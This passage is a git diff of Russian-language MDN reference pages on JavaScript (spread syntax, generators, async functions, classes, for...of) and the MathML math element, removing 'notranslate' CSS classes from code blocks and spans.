записью. Лучше вместо этого использовать скобочную запись:</p> -<pre class="brush: js notranslate">x = document.forms["form_name"].elements[strFormControl].value; +<pre class="brush: js">x = document.forms["form_name"].elements[strFormControl].value; </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html index 1019bdd757..5eb3e561d9 100644 --- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html +++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html @@ -21,16 +21,16 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax <p>Для вызовов функций:</p> -<pre class="syntaxbox notranslate">myFunction(...iterableObj); +<pre class="syntaxbox">myFunction(...iterableObj); </pre> <p>Для литералов массива или строк:</p> -<pre class="syntaxbox notranslate">[...iterableObj, '4', 'five', 6];</pre> +<pre class="syntaxbox">[...iterableObj, '4', 'five', 6];</pre> <p>Для литералов объекта (новое в ECMAScript 2018):</p> -<pre class="syntaxbox notranslate">let objClone = { ...obj };</pre> +<pre class="syntaxbox">let objClone = { ...obj };</pre> <h2 id="Примеры">Примеры</h2> @@ -40,19 +40,19 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax <p>Обычно используют {{jsxref( "Function.prototype.apply")}} в случаях, когда хотят использовать элементы массива в качестве аргументов функции.</p> -<pre class="brush: js notranslate">function myFunction(x, y, z) { } +<pre class="brush: js">function myFunction(x, y, z) { } var args = [0, 1, 2]; myFunction.apply(null, args);</pre> <p>С <strong>spread syntax</strong> вышеприведённое можно записать как:</p> -<pre class="brush: js notranslate">function myFunction(x, y, z) { } +<pre class="brush: js">function myFunction(x, y, z) { } var args = [0, 1, 2]; myFunction(...args);</pre> <p>Любой аргумент в списке аргументов может использовать <strong>spread syntax</strong>, и его можно использовать несколько раз.</p> -<pre class="brush: js notranslate">function myFunction(v, w, x, y, z) { } +<pre class="brush: js">function myFunction(v, w, x, y, z) { } var args = [0, 1]; myFunction(-1, ...args, 2, ...[3]);</pre> @@ -60,13 +60,13 @@ myFunction(-1, ...args, 2, ...[3]);</pre> <p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с лёгкостью использован со словом <code>new:</code></p> -<pre class="brush: js notranslate">var dateFields = [1970, 0, 1]; // 1 Jan 1970 +<pre class="brush: js">var dateFields = [1970, 0, 1]; // 1 Jan 1970 var d = new Date(...dateFields); </pre> <p>Чтобы использовать <code>new</code> с массивом параметров без spread syntax, вам потребуется использование частичного применения:</p> -<pre class="brush: js notranslate">function applyAndNew(constructor, args) { +<pre class="brush: js">function applyAndNew(constructor, args) { function partial () { return constructor.apply(this, args); }; @@ -98,7 +98,7 @@ console.log(new myConstructorWithArguments); <p>Без spread syntax, применение синтаксиса литерала массива для создания нового массива на основе существующего недостаточно и требуется императивный код вместо комбинации методов <code>push</code>, <code>splice</code>, <code>concat</code> и т.д. С spread syntax реализация становится гораздо более лаконичной:</p> -<pre class="brush: js notranslate">var parts = ['shoulders', 'knees']; +<pre class="brush: js">var parts = ['shoulders', 'knees']; var lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] </pre> @@ -107,7 +107,7 @@ var lyrics = ['head', ...parts, 'and', 'toes']; <h4 id="Копирование_массива">Копирование массива</h4> -<pre class="brush: js notranslate">var arr = [1, 2, 3]; +<pre class="brush: js">var arr = [1, 2, 3]; var arr2 = [...arr]; // like arr.slice() arr2.push(4); @@ -117,7 +117,7 @@ arr2.push(4); <p><strong>Примечание:</strong> Spread syntax на самом деле переходит лишь на один уровень глубже при копировании массива. Таким образом, он может не подходить для копирования многоразмерных массивов, как показывает следующий пример: (также как и c {{jsxref("Object.assign()")}}) и синтаксис spred </p> -<pre class="brush: js notranslate">const a = [[1], [2], [3]]; +<pre class="brush: js">const a = [[1], [2], [3]]; const b = [...a]; b.shift().shift(); // 1 // О нет. Теперь на массив "а" относятся также: а @@ -128,28 +128,28 @@ b.shift().shift(); // 1 <p>Для конкатенации массива часто используется {{jsxref("Array.concat")}}:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; // Append all items from arr2 onto arr1 arr1 = arr1.concat(arr2);</pre> <p>С использованием spread syntax:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; arr1 = [...arr1, ...arr2]; </pre> <p>{{jsxref("Array.unshift")}} часто используется для вставки массива значений в начало существующего массива. Без spread syntax:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; // Prepend all items from arr2 onto arr1 Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre> <p>С использованием spread syntax [Следует отметить, что такой способ создаёт новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p> -<pre class="brush: js notranslate">var arr1 = [0, 1, 2]; +<pre class="brush: js">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] </pre> @@ -160,7 +160,7 @@ arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] <p>Поверхностное копирование (без прототипа) или объединение объектов теперь возможно с использованием более короткого, чем {{jsxref("Object.assign()")}}, синтаксиса.</p> -<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 }; +<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 }; var obj2 = { foo: 'baz', y: 13 }; var clonedObj = { ...obj1 }; @@ -173,7 +173,7 @@ var mergedObj = { ...obj1, ...obj2 }; <p>Обратите внимание, что вы не можете заменить или имитировать функцию {{jsxref("Object.assign()")}}:</p> -<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 }; +<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 }; var obj2 = { foo: 'baz', y: 13 }; const merge = ( ...objects ) => ( { ...objects } ); @@ -189,7 +189,7 @@ var mergedObj = merge ( {}, obj1, obj2); <p>Spread syntax ( кроме случаев spread properties) может быть применён только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p> -<pre class="brush: js notranslate">var obj = {'key1': 'value1'}; +<pre class="brush: js">var obj = {'key1': 'value1'}; var array = [...obj]; // TypeError: obj is not iterable </pre> diff --git a/files/ru/web/javascript/reference/operators/yield/index.html b/files/ru/web/javascript/reference/operators/yield/index.html index d30b1bbce5..34f3245f4d 100644 --- a/files/ru/web/javascript/reference/operators/yield/index.html +++ b/files/ru/web/javascript/reference/operators/yield/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox language-html notranslate"> [<em>rv</em>] = <strong>yield</strong> [[выражение]];</pre> +<pre class="syntaxbox language-html"> [<em>rv</em>] = <strong>yield</strong> [[выражение]];</pre> <dl> <dt><code>выражение</code></dt> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield <p>Следующий фрагмент кода содержит определение функции-генератора и вспомогательной функции:</p> -<pre class="brush: js notranslate">function* foo(){ +<pre class="brush: js">function* foo(){ var index = 0; while(index <= 2) // при достижении 2, done в yield станет true, а value undefined; yield index++; @@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield <p>После того как тело функции-генератора определено, оно может использоваться для получения итератора:</p> -<pre class="brush: js notranslate">var iterator = foo(); +<pre class="brush: js">var iterator = foo(); console.log(iterator.next()); // { value:0, done:false } console.log(iterator.next()); // { value:1, done:false } console.log(iterator.next()); // { value:2, done:false } diff --git a/files/ru/web/javascript/reference/operators/yield_star_/index.html b/files/ru/web/javascript/reference/operators/yield_star_/index.html index 003e027d0e..1b1da5bd17 100644 --- a/files/ru/web/javascript/reference/operators/yield_star_/index.html +++ b/files/ru/web/javascript/reference/operators/yield_star_/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield* <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"> yield* [[expression]];</pre> +<pre class="syntaxbox"> yield* [[expression]];</pre> <dl> <dt><code>expression</code></dt> @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Operators/yield* <p>В следующем примере, значения полученные из <code>g1()</code> возвращаются из <code>g2</code> вызовами <code>next</code>, как будто бы она вычислила их сама.</p> -<pre class="brush: js notranslate">function* g1() { +<pre class="brush: js">function* g1() { yield 2; yield 3; yield 4; @@ -54,7 +54,7 @@ console.log(iterator.next()); // { value: undefined, done: true } <p>Помимо объектов генераторов, <code>yield*</code> может перебирать другие виды итерируемых объектов, т.е. массивы, строки, объекты аргументов и др.</p> -<pre class="brush: js notranslate">function* g3() { +<pre class="brush: js">function* g3() { yield* [1, 2]; yield* "34"; yield* Array.from(arguments); @@ -106,7 +106,7 @@ class PowersOfTwo { <p><code>yield*</code> - это выражение, а не оператор, поэтому оно имеет значение, равное последнему значению итератора </p> -<pre class="brush: js notranslate">function* g4() { +<pre class="brush: js">function* g4() { yield* [1, 2, 3]; return "foo"; } @@ -162,7 +162,7 @@ console.log(result); // "foo" <li>Начиная с Gecko 33 {{geckoRelease(33)}}, разбор выражений yield было приведено к соответствию с последними спецификациями ES6 ({{bug(981599)}}): <ul> <li>Реализована корректная обработка разрыва строки. Разрыва строки между "yield" и "*" быть не может. Такой код вызовет {{jsxref("SyntaxError")}}: - <pre class="brush: js notranslate">function* foo() { + <pre class="brush: js">function* foo() { yield *[]; }</pre> diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html index 7e07f940cf..d46b1039e3 100644 --- a/files/ru/web/javascript/reference/statements/async_function/index.html +++ b/files/ru/web/javascript/reference/statements/async_function/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Statements/async_function <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { +<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { <em>statements</em> } </pre> @@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Statements/async_function <h3 id="Простой_пример">Простой пример</h3> -<pre class="brush: js notranslate">function resolveAfter2Seconds(x) { +<pre class="brush: js">function resolveAfter2Seconds(x) { return new Promise(resolve => { setTimeout(() => { resolve(x); @@ -86,7 +86,7 @@ add2(10).then(v => { <h3 id="Когда_функция_async_выбрасывает_исключение">Когда функция <code>async </code>выбрасывает исключение</h3> -<pre class="brush: js notranslate">async function throwsValue() { +<pre class="brush: js">async function throwsValue() { throw new Error('oops'); } throwsValue() @@ -112,7 +112,7 @@ throwsValue() <p>API, которое возвращает {{jsxref("Promise")}}, будет возвращать значение в цепочке, тем самым разбивая функцию на много частей. Рассматривая следующий код:</p> -<pre class="brush: js notranslate">function getProcessedData(url) { +<pre class="brush: js">function getProcessedData(url) { return downloadData(url) // returns a promise .catch(e => { return downloadFallbackData(url) // returns a promise @@ -125,7 +125,7 @@ throwsValue() <p>он может быть переписан с одним использованием функции <code>async</code>:</p> -<pre class="brush: js notranslate">async function getProcessedData(url) { +<pre class="brush: js">async function getProcessedData(url) { let v; try { v = await downloadData(url); diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html index f2caebe0fe..e0c1dbd9f2 100644 --- a/files/ru/web/javascript/reference/statements/class/index.html +++ b/files/ru/web/javascript/reference/statements/class/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Statements/class <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">class <em>name</em> [extends] { +<pre class="brush: js">class <em>name</em> [extends] { // тело класса } </pre> @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Statements/class <p>В следующем примере сначала определяется класс с именем Polygon, затем он наследуется для создания класса Square. Заметьте, что super(), используемый в конструкторе, может быть использован только в конструкторе и должен быть вызван до того, как будет использовано ключевое слово this.</p> -<pre class="brush: js notranslate">class Polygon { +<pre class="brush: js">class Polygon { constructor(height, width) { this.name = 'Polygon'; this.height = height; @@ -50,13 +50,13 @@ class Square extends Polygon { <p>Переопределение класса с помощью class declaration вызовет ошибку типа.</p> -<pre class="brush: js notranslate">class Foo {}; +<pre class="brush: js">class Foo {}; class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared </pre> <p>Та же ошибка будет вызвана, если класс был определён перед использованием class declaration.</p> -<pre class="brush: js notranslate">var Foo = class {}; +<pre class="brush: js">var Foo = class {}; class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared </pre> diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html index 5d056de8c4..7641d14bad 100644 --- a/files/ru/web/javascript/reference/statements/for...of/index.html +++ b/files/ru/web/javascript/reference/statements/for...of/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...of <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">for (<em>variable</em> of <em>iterable</em>) { +<pre class="syntaxbox">for (<em>variable</em> of <em>iterable</em>) { <em>statement</em> } </pre> @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...of <h3 id="Обход_jsxrefArray">Обход {{jsxref("Array")}}</h3> -<pre class="notranslate"><code>let iterable = [10, 20, 30]; +<pre><code>let iterable = [10, 20, 30]; for (let value of iterable) { value += 1; @@ -44,7 +44,7 @@ for (let value of iterable) { <p>Можно также использовать <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a> вместо <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a>, если не нужно переназначать переменные внутри блока.</p> -<pre class="notranslate"><code>let iterable = [10, 20, 30]; +<pre><code>let iterable = [10, 20, 30]; for (const value of iterable) { console.log(value); @@ -55,7 +55,7 @@ for (const value of iterable) { <h3 id="Обход_jsxrefString">Обход {{jsxref("String")}}</h3> -<pre class="notranslate"><code>let iterable = 'boo'; +<pre><code>let iterable = 'boo'; for (let value of iterable) { console.log(value); @@ -66,7 +66,7 @@ for (let value of iterable) { <h3 id="Обход_jsxrefTypedArray">Обход {{jsxref("TypedArray")}}</h3> -<pre class="notranslate"><code>let iterable = new Uint8Array([0x00, 0xff]); +<pre><code>let iterable = new Uint8Array([0x00, 0xff]); for (let value of iterable) { console.log(value); @@ -76,7 +76,7 @@ for (let value of iterable) { <h3 id="Обход_jsxrefMap">Обход {{jsxref("Map")}}</h3> -<pre class="notranslate"><code>let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]); +<pre><code>let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]); for (let entry of iterable) { console.log(entry); @@ -94,7 +94,7 @@ for (let [key, value] of iterable) { <h3 id="Обход_jsxrefSet">Обход {{jsxref("Set")}}</h3> -<pre class="notranslate"><code>let iterable = new Set([1, 1, 2, 2, 3, 3]); +<pre><code>let iterable = new Set([1, 1, 2, 2, 3, 3]); for (let value of iterable) { console.log(value); @@ -105,7 +105,7 @@ for (let value of iterable) { <h3 id="Обход_объекта_jsxrefarguments">Обход объекта {{jsxref("arguments")}} </h3> -<pre class="notranslate"><code>(function() { +<pre><code>(function() { for (let argument of arguments) { console.log(argument); } @@ -119,7 +119,7 @@ for (let value of iterable) { <p>Обход DOM коллекций наподобие {{domxref("NodeList")}}: следующий пример добавляет класс <code>read</code> параграфам, являющимся непосредственными потомками статей:</p> -<pre class="notranslate"><code>// Примечание: работает только на платформах, где +<pre><code>// Примечание: работает только на платформах, где // реализован NodeList.prototype[Symbol.iterator] let articleParagraphs = document.querySelectorAll('article > p'); @@ -131,7 +131,7 @@ for (let paragraph of articleParagraphs) { <p>В циклах <code>for...of</code> аварийный выход осуществляется через <code>break</code>, <code>throw</code> или <code>return</code>. Во всех вариантах итератор завершается.</p> -<pre class="notranslate"><code>function* foo(){ +<pre><code>function* foo(){ yield 1; yield 2; yield 3; @@ -147,7 +147,7 @@ for (let o of foo()) { <p>Вы можете выполнять обход <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">генераторов</a>, вот пример:</p> -<pre class="brush:js notranslate">function* fibonacci() { // функция-генератор +<pre class="brush:js">function* fibonacci() { // функция-генератор let [prev, curr] = [0, 1]; for (;;) { [prev, curr] = [curr, prev + curr]; @@ -167,7 +167,7 @@ for (let n of fibonacci()) { <p>Генераторы нельзя использовать дважды, даже если цикл <code>for...of </code> завершится аварийно, например, через оператор {{jsxref("Statements/break", "break")}} . При выходе из цикла генератор завершается, и любые попытки получить из него значение обречены.</p> -<pre class="brush: js example-bad notranslate"><code>var gen = (function *(){ +<pre class="brush: js example-bad"><code>var gen = (function *(){ yield 1; yield 2; yield 3; @@ -186,7 +186,7 @@ for (let o of gen) { <p>Кроме того, можно сделать обход объекта, явно реализующего <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable</a>:</p> -<pre class="notranslate"><code>var iterable = { +<pre><code>var iterable = { [Symbol.iterator]() { return { i: 0, @@ -217,7 +217,7 @@ for (var value of iterable) { <p>Следующий пример показывает различия в работе циклов <code>for...of</code> и <code>for...in</code> при обходе {{jsxref("Array")}}.</p> -<pre class="notranslate"><code>Object.prototype.objCustom = function() {}; +<pre><code>Object.prototype.objCustom = function() {}; Array.prototype.arrCustom = function() {}; let iterable = [3, 5, 7]; @@ -239,7 +239,7 @@ for (let i of iterable) { <p>Разберёмся шаг за шагом в вышеописанном коде.</p> -<pre class="notranslate"><code>Object.prototype.objCustom = function() {}; +<pre><code>Object.prototype.objCustom = function() {}; Array.prototype.arrCustom = function() {}; let iterable = [3, 5, 7]; @@ -247,13 +247,13 @@ iterable.foo = 'hello';</code></pre> <p>Каждый объект унаследует метод <code>objCustom</code> и каждый массив {{jsxref("Array")}} унаследует метод <code>arrCustom</code> благодаря созданию их в {{jsxref("Object.prototype")}} и {{jsxref("Array.prototype")}}. Объект <code>iterable</code> унаследует методы <code>objCustom</code> и <code>arrCustom</code> из-за <a href="/ru/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">наследования через прототип</a>.</p> -<pre class="notranslate"><code>for (let i in iterable) { +<pre><code>for (let i in iterable) { console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom" }</code></pre> <p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта <code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являются <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы ещё не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p> -<pre class="notranslate"><code>for (let i in iterable) { +<pre><code>for (let i in iterable) { if (iterable.hasOwnProperty(i)) { console.log(i); // выведет 0, 1, 2, "foo" } @@ -261,7 +261,7 @@ iterable.foo = 'hello';</code></pre> <p>Цикл аналогичен предыдущему, но использует {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}} для проверки того, собственное ли это свойство объекта или унаследованное. Выводятся только собственные свойства. Имена <code>0</code>, <code>1</code>, <code>2</code> и <code>foo</code> принадлежат только экземпляру объекта (<strong>не унаследованы</strong>). Методы <code>arrCustom</code> и <code>objCustom</code> не выводятся, поскольку они <strong>унаследованы</strong>.</p> -<pre class="notranslate"><code>for (let i of iterable) { +<pre><code>for (let i of iterable) { console.log(i); // выведет 3, 5, 7 }</code></pre> diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html index 376139e413..21df2e4f2e 100644 --- a/files/ru/web/mathml/element/math/index.html +++ b/files/ru/web/mathml/element/math/index.html @@ -5,47 +5,47 @@ translation_of: Web/MathML/Element/math --- <p>{{MathMLRef()}}</p> -<p><span class="notranslate">Элементом верхнего уровня в MathML является тэг <code><math></code> .</span> <span class="notranslate" style=""> Каждый допустимый экземпляр MathML должен быть внутри этого контейнера.</span> <span class="notranslate"> Он не допускает вложений, но внутри может быть произвольное число других дочерних элементов.</span></p> +<p><span>Элементом верхнего уровня в MathML является тэг <code><math></code> .</span> <span style=""> Каждый допустимый экземпляр MathML должен быть внутри этого контейнера.</span> <span> Он не допускает вложений, но внутри может быть произвольное число других дочерних элементов.</span></p> -<h2 id="Атрибуты"><span class="notranslate">Атрибуты</span></h2> +<h2 id="Атрибуты"><span>Атрибуты</span></h2> -<p><span class="notranslate">В дополнение к следующим атрибутам, тэг <code><math></code> воспринимает любые атрибуты из <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> .</span></p> +<p><span>В дополнение к следующим атрибутам, тэг <code><math></code> воспринимает любые атрибуты из <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> .</span></p> <dl> <dt id="attr-class-id-style">class, id, style</dt> - <dd><span class="notranslate">При условии использования вместе с <a href="https://developer.mozilla.org/en-US/docs/CSS">таблицами стилей</a> .</span></dd> + <dd><span>При условии использования вместе с <a href="https://developer.mozilla.org/en-US/docs/CSS">таблицами стилей</a> .</span></dd> <dt id="attr-dir">dir</dt> - <dd><span class="notranslate">Указывает направление формулы:</span> <span class="notranslate"><code>ltr</code> - слева направо или <code>rtl</code> - справа налево.</span></dd> + <dd><span>Указывает направление формулы:</span> <span><code>ltr</code> - слева направо или <code>rtl</code> - справа налево.</span></dd> <dt id="attr-href">ref</dt> - <dd><span class="notranslate">Используется для установки гиперссылки на указанный URI.</span></dd> - <dt id="attr-mathbackground"><span class="notranslate">mathbackground</span></dt> - <dd><span class="notranslate">Цвет фона.</span> <span class="notranslate"> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> - <dt id="attr-mathcolor"><span class="notranslate">mathcolor</span></dt> - <dd><span class="notranslate">Цвет текста.</span> <span class="notranslate"> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> + <dd><span>Используется для установки гиперссылки на указанный URI.</span></dd> + <dt id="attr-mathbackground"><span>mathbackground</span></dt> + <dd><span>Цвет фона.</span> <span> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> + <dt id="attr-mathcolor"><span>mathcolor</span></dt> + <dd><span>Цвет текста.</span> <span> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> <dt id="attr-display">display</dt> - <dd><span class="notranslate">Этот атрибут определяет способ вывода.</span> Возможные <span class="notranslate">значения:</span> + <dd><span>Этот атрибут определяет способ вывода.</span> Возможные <span>значения:</span> <ul> - <li><span class="notranslate"><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li> - <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.</span></li> + <li><span><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li> + <li><span><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.</span></li> </ul> - <p><span class="notranslate">Значение по умолчанию <code>inline</code> .</span></p> + <p><span>Значение по умолчанию <code>inline</code> .</span></p> </dd> <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все ещё работают."> <i class="icon-thumbs-down-alt"></i> </span></dt> - <dd><span class="notranslate">Устаревшие значение </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br> - <span class="notranslate">Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd> + <dd><span>Устаревшие значение </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br> + <span>Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd> <dt id="attr-overflow">overflow</dt> - <dd><span class="notranslate">Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> - <span class="notranslate">Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd> + <dd><span>Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> + <span>Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd> </dl> -<h2 id="Примеры"><span class="notranslate">Примеры</span></h2> +<h2 id="Примеры"><span>Примеры</span></h2> <p><img alt="Теорема Пифагора" src="https://developer.mozilla.org/files/3157/math.jpg"></p> -<h3 id="Обозначения_HTML5"><span class="notranslate">Обозначения HTML5</span></h3> +<h3 id="Обозначения_HTML5"><span>Обозначения HTML5</span></h3> <pre class="brush: html language-html"><code class="language-html"><span class="token doctype"><!DOCTYPE html></span> <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span><span class="token punctuation">></span></span> @@ -80,7 +80,7 @@ translation_of: Web/MathML/Element/math <p> </p> -<h3 id="Обозначения_XHTML"><span class="notranslate">Обозначения XHTML</span></h3> +<h3 id="Обозначения_XHTML"><span>Обозначения XHTML</span></h3> <p> </p> @@ -118,7 +118,7 @@ translation_of: Web/MathML/Element/math <p> </p> -<p><span class="notranslate"><strong>Примечания:</strong> XHTML документы с MathML должны быть поданы как <code>application/xhtml+xml</code>.</span> <span class="notranslate"> Вы можете легко добиться этого, добавив <code>.xhtml</code> расширение для локальных файлов.</span> <span class="notranslate"> Для серверов Apache вы можете <a class="external external-icon" href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype">настроить <code>.htaccess</code> файл</a> для этого расширения на правильный тип MIME.</span> <span class="notranslate"> Поскольку мы сохранили наш MathML в виде XML-документа, необходимо быть уверенным в правильно оформленном XML-документе.</span></p> +<p><span><strong>Примечания:</strong> XHTML документы с MathML должны быть поданы как <code>application/xhtml+xml</code>.</span> <span> Вы можете легко добиться этого, добавив <code>.xhtml</code> расширение для локальных файлов.</span> <span> Для серверов Apache вы можете <a class="external external-icon" href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype">настроить <code>.htaccess</code> файл</a> для этого расширения на правильный тип MIME.</span> <span> Поскольку мы сохранили наш MathML в виде XML-документа, необходимо быть уверенным в правильно оформленном XML-документе.</span></p> <p> </p> @@ -128,40 +128,40 @@ translation_of: Web/MathML/Element/math <p>{{Compat("mathml.elements.math")}}</p> -<h3 id="Особенности_ядра_Gecko"><span class="notranslate">Особенности ядра Gecko</span></h3> +<h3 id="Особенности_ядра_Gecko"><span>Особенности ядра Gecko</span></h3> -<p><span class="notranslate">В Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4) появилась поддержка всех MathML атрибутов для элементов верхнего уровня (т.е. такое же поведение как <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> элемента).</span> <span class="notranslate"> Тем не менее, <code>displaystyle</code> атрибут не отрабатывается. Его поддержка <a class="external link-https external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&tl=ru&u=https://bugzilla.mozilla.org/show_bug.cgi%3Fid%3D669719&usg=ALkJrhgLJ8bHaC2M0rCMSujebFa8KEb7lQ">была добавлена</a> в Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5).</span></p> +<p><span>В Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4) появилась поддержка всех MathML атрибутов для элементов верхнего уровня (т.е. такое же поведение как <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> элемента).</span> <span> Тем не менее, <code>displaystyle</code> атрибут не отрабатывается. Его поддержка <a class="external link-https external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&tl=ru&u=https://bugzilla.mozilla.org/show_bug.cgi%3Fid%3D669719&usg=ALkJrhgLJ8bHaC2M0rCMSujebFa8KEb7lQ">была добавлена</a> в Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 